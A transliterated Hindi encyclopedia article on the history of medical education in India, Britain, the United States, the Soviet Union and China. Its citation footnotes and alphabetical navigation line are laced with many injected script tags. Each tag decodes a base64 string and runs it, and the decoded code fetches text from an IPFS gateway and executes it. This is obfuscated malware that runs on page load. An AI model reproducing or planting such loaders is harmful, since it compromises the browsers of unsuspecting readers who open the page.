आयुर्विज्ञान शिक्षा

ayurvijnan shiksha aibraiham phleksanar ka kathan hai ki prachin kal se ayurvijnan mean aandhavishvas, prayog tatha us prakar ke nirikshan ka, jisake aant mean vijnan ka nirman hota hai, vichitr mishran raha hai. ye tinoan siddhaant aj bhi kary kar rahe haian, yadyapi unaka anupat ab badal gaya hai.

uttar-vaidik-kal (600 ee.poo. se sanh‌ 200 ee. tak) ke bharat ke likhit itihas se pata chalata hai ki ayurvijnan ki shiksha takshashila tatha nalanda ke mahavidyalayoan mean di jati thi. pichhe ye mahavidyalay nasht ho ge aur rajanitik avastha mean parivartan hone ke sath yoonani tatha pashchimi (yooropiy) ayurvaijnanik ritiyoan ka is desh mean pravesh hua.

british bharat mean sarvapratham ayurvaijnanik vidyalay sanh‌ 1822 mean sthapit hua. isake pashchath‌ sanh‌ 1835 mean do ayurvaijnanik vidyalay, ek kalakatta mean tatha doosara madras mean, sthapit hue. ianglaiand ke r aauyal k aaulej aauv sarjans ne sanh‌ 1845 mean inhean pahale pahal manyata di. is samay se lekar sanh‌ 1933 tak ayurvijnan ki shiksha ka vikas jenaral medikal kauansil aauv yoonaited kiangdam ki dekharekh mean hota raha.

sanh‌ 1933 mean bharatiy sansadh ne iandiyan medikal kauansil aikt svikar kiya. isake anusar bharat ke sab praantoan ke lie ayurvijnan mean uchch yogyata ke ek saman, alpatam manak sthir karane ke vishisht uddeshy se medikal kauansil aauv iandiya ka sangathan hua.

sanh‌ 1935 ke sujhavoan ke anusar jivavijnan (baiaauloji) ke sath iantaramidiet pariksha mean uttirn hone ke anantar ayurvaijnanik vidyalay mean paanch varsh tak adhyayan ka samay niyat kiya gaya. isake aantim tin varshoan ko rugnalayoan mean jakar rogiyoan ki pariksha adi mean vyatit karane ka nirdesh tha. sanh‌ 1952 ke prastavoan ne jivavijnan ke sath iantaramidiet pariksha uttirn karane ke pashchath‌ vidyalay mean adhyayan karane ke kul samay ko badhakar sadhe paanch varsh kar diya hai. isamean se dedh varsh to rugnalayoan ke karyakram ke parichay ke sath-sath adharabhoot vaijnanik vishayoan ke adhyayan ke lie hai tatha tin varsh rugnalayoan mean kriyatmak kary ke lie. aantim pariksha ke pashchath‌ 12 mas ke lie parikshottar shiksha ki vishesh vyavastha ki kee hai. is avadhi mean vidyarthi ko vishvavidyalay athava medikal kauansil se manyataprapt medikal adhikari ya daktar ki adhinata mean kary karana p data hai. is ek varsh ke kal mean tin mas lokasvasthy (pablik helth) ke karyoan mean, adhikatar dehat mean, bitana p data hai.

rugnalay vishayak adhyayanakal mean, arthath‌ tisare, chauthe tatha paanchavean varshoan mean, pratyek vidyarthi ko kam se kam rogiyoan ke kul byoroan ka lekha taiyar karane athava shalyachikitsa ke uparaant patti baandhane ke kary ka sanpoorn uttaradayitv uthana p data hai.

jaisa uchit hai, kauansil ne shikshanakal mean upadeshatmak vyakhyanoan ki tulana mean kriyatmak (vyavaharik) shiksha par adhik bal diya hai. sanh‌ 1956 ke iandiyan medikal kauansil adhiniyam ne kauansil ko snatakottar ayurvaijnanik shiksha ke sanbandh mean adhik vaidhanik shakti pradan ki hai tatha snatakottar ayurvaijnanik shikshasamiti (post grejuet medikal ejukeshan kamiti) ki sthapana ka nirdesh bhi kiya hai.

in sansthaoan ke atirikt isaka bhi prayatn kiya gaya hai ki ayurvijnan ki prachin bharatiy pranali ki unnati ki jay. prachin bharatiy paddhati ki pratham pathashala sanh‌ 1914 mean madras mean sthapit ki gee. kashi hiandoo vishvavidyalay ne em.bi.bi.es. ka ek navin pathyakram nirdharit kiya hai jo jivavijnan lekar iantaramidiet pariksha uttirn karane ke bad chhah varshoan tak chalata hai. is pranali mean ayurved (prachin bharatiy paddhati) ka bhi kuchh avashyak parichay diya jata hai. is navin pathh‌yakram ka prabhav desh ki ayurvaijnanik shiksha par bahut b di matra mean sanbhavit hai. isaka uddeshy yah hai ki ayurvijnan ki bharatiy aur pashchaty donoan pranaliyoan ka phalaprad ekikaran ho.

yoonaited kiangadam (ianglaiand, sk aautalaiand adi)-gret briten ki jenaral medikal kauansil (vyapak ayurvaijnanik parishadh) 1858 ee. ke ayurvaijnanik viniyam (aikt) ke anusar sthapit ki gee thi. us samay chikitsakoan ke man mean yah bhraanti thi ki ayurvaijnanik shiksha ka dhyey 'ahanikar, samany chikitsak' utpann karana tha. 20vian shatabdi mean gret briten mean ayurvaijnanik shiksha ka dhyey dhire-dhire badalakar aisa maulik (besik) chikitsak utpann karana ho gaya, jisamean yah yogyata ho ki vah ichchhanusar ayurvijnan ki kisi bhi shakha mean visheshajn ban sake. yoonaited kiangadam mean maulik upadhi em.bi.bi.es. ki hai, jisaka arth hai medisin (bheshajavijnan) ka snatak aur sarjari (shalyachikitsa) ka snatak. isake badale el.ar.si.pi. aur em.ar.si.es. ki bhi vaikalpik upadhiyaan haian. in aksharoan ka arth hai ki chikitsakoan athava shalyashastriyoan ke r aauyal k aaulej (rajavidyalay) ka upadhiprapt (laiseanshiyet) athava sadasy (meanbar). yoonaited kiangadam mean snatakottar upadhiyaan em.di (chikitsapandit) athava em.es. (shaly-chikitsa-pandit) aur ef.ar.si.es. (shalyachikitsakoan ke r aauyal k aaulej ka sadasy) athava em.ar.si.pi. (chikitsakoan ke r aauyal k aaulej ka sadasy) haian.

amarika ke sanyukt rajy-amarikan medikal aisasiyeshan (amariki ayurvaijnanik sangh) sanh‌ 1847 mean sthapit hua tha. isaka uddeshy ayurvaijnanik shiksha ke star ka utthan tha. vishv mean amarika ke ayurvaijnanik vidyalayoan ki b di khyati hai. chikitsakoan ki shiksha mean vijnan ko samuchit mahatv diya jata hai. vidyarthi apane man ka vishay svatantrata se chun sakata hai. vidyalay mean bharati hone ke pahale use vijnan ka snatak hona avashyak hai. shiksha ke aant par sabako em.di (chikitsapandit) ki upadhi milati hai. snatakottar upadhiyaan ef.e.si.es. aur ef.e.si.pi. haian. ye upadhiyaan visheshajnoan ke vidyalayoan dvara di jati haian.

roos-roos mean ayurvaijnanik shiksha ka vikas vastut: si.pi.es.yoo. (bi) ke 17vean adhiveshan ke sammukh stailin ke prasiddh vyakhyan ke bad hua. 1945 ee. mean roos ki ayurvaijnanik parishadh (ekaidemi) sthapit huee. isake pahale sanh‌ 1934 mean vijnanapandit aur vijnanajijnasu ki upadhiyaan thian. ayurvaijnanik vidyalay mean bharati hone ke lie maitrikuleshan ka pramanapatr avashyak hai. sab vidyarthiyoan ko chhatravritti milati hai. door se ae vidyarthiyoan ke lie chhatravas mean rahane ka bhi prabandh rahata hai. sanh‌ 1945 tak ayurvaijnanik pathyakram paanch varshoan mean samapt hota tha, parantu usake bad chhah varsh tak padhaee hone lagi. kriyatmak anubhav par vishesh dhyan diya jata hai. pratyek vidyarthi ko prativarsh ek nishchit karyakram diya jata hai, jise aspataloan aur rugnalayoan mean anubhavi vishe

shajnoan ki dekharekh mean use poora karana p data hai. vartaman samay mean roos mean lagabhag do lakh daktar aur kee lakh sahayak haian jinhean 'feldashar' kaha jata hai.

chin-yahaan dhyey yah hai ki kam samay mean adhik daktar taiyar hoan. ayurvaijnanik rshiksha ki avadhi yahaan paanch varsh hai. prachin pranali ke in chikitsakoan ko chhootavale rogoan se bachane ki adhunik ritiyoan ki shiksha de di gee hai. roos ki hi bhaanti chin ke ayuvaijnanik vidyalay vishvavidyalayoan se poornataya bhinn haian. ayurvaijnanik shiksha atyant pravidhik shiksha ho chali hai. chin ka vidyarthi ayurvaijnanik vidyalay mean 17 varsh ki ayu mean bharati hota hai aur isake pahale use bhautiki, rasayan, samajashastr, chini sahity aur rajanitivijnan mean sarakari pariksha uttirn karani p dati hai. pikiang ke vidyalayoan mean chhatraoan ki sankhya kul ki 44 pratishat bataee jati hai. kaha jata hai, 80 pratishat pariksha maukhik hoti hai aur keval 20 pratishat likhit.

aant mean isapar bal dena avashyak hai ki sare vishv mean ayurvaijnanik shiksha mean barabar anek parivartan hote rahate haian aur ab yah niantaant avashyak ho gaya hai ki bharat bhi vijnan ke is shaktishali kshetr mean samuchit kary kare.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 412-13 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 412-13 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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